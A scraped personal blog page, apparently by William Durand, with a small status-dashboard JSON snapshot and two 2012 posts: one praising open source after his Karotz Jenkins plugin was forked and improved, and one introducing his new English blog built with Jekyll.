{"lastupdate":"Mon, 16 Jan 2012 13:29:11 GMT","services":[{"name":"williamdurand.fr","label":"William Durand (blog)","status":"up","statusCode":200,"message":""}],"summarize":{"lastupdate":"Mon, 16 Jan 2012 13:29:11 GMT","up":1,"critical":0,"down":0,"unknown":0}}

The project is available at: https://github.com/obazoud/statusdashboard.

Did I tell you open source was awesome?

2012-01-16T00:00:00+00:00

A few months ago, my father offered me a Karotz (the new Nabaztag) for my birthday. At the same time, I started to learn how to write a Jenkins plugin, and I knew this kind of rabbit could be programmed. That’s why I decided to write a Karotz-Plugin.

As an Open Source Software enthusiast, I published my code on GitHub right at the beginning. The plugin was in a work in progress state but quite usable. Unfortunately, I was unable to improve it for weeks after the initial publication.

When I got some free time to work on it, I saw my repository had been forked. Surprise! Someone improved my work and published it as an official Jenkins Plugin. Wonderful!

I pulled the repository, and learned a lot from the developer who worked on the plugin. Isn’t that awesome? First, my code has been reused. Second, I learned new things. Oh, and I got an awesome plugin for Jenkins and my Karotz! 😎

To summarize, it sounds like a really good idea to open source everything, even if it’s a draft/work in progress or even an idea. Someone could find this idea quite amazing and could contribute to it. Thanks to GitHub, open sourcing something is really really easy these days :)

Hello, World!

2012-01-15T00:00:00+00:00

Hi folks!

A few months ago, I decided to abandon my first blog at www.willdurand.fr. Writing in French was great but writing in English sounds like a better challenge.

That’s why I’m starting this new blog, in English (as well-written as possible), powered by Jekyll, HTML5 Boilerplate, and hosted on GitHub.

You’ll get the code by browsing the following repository: willdurand.github.com.

William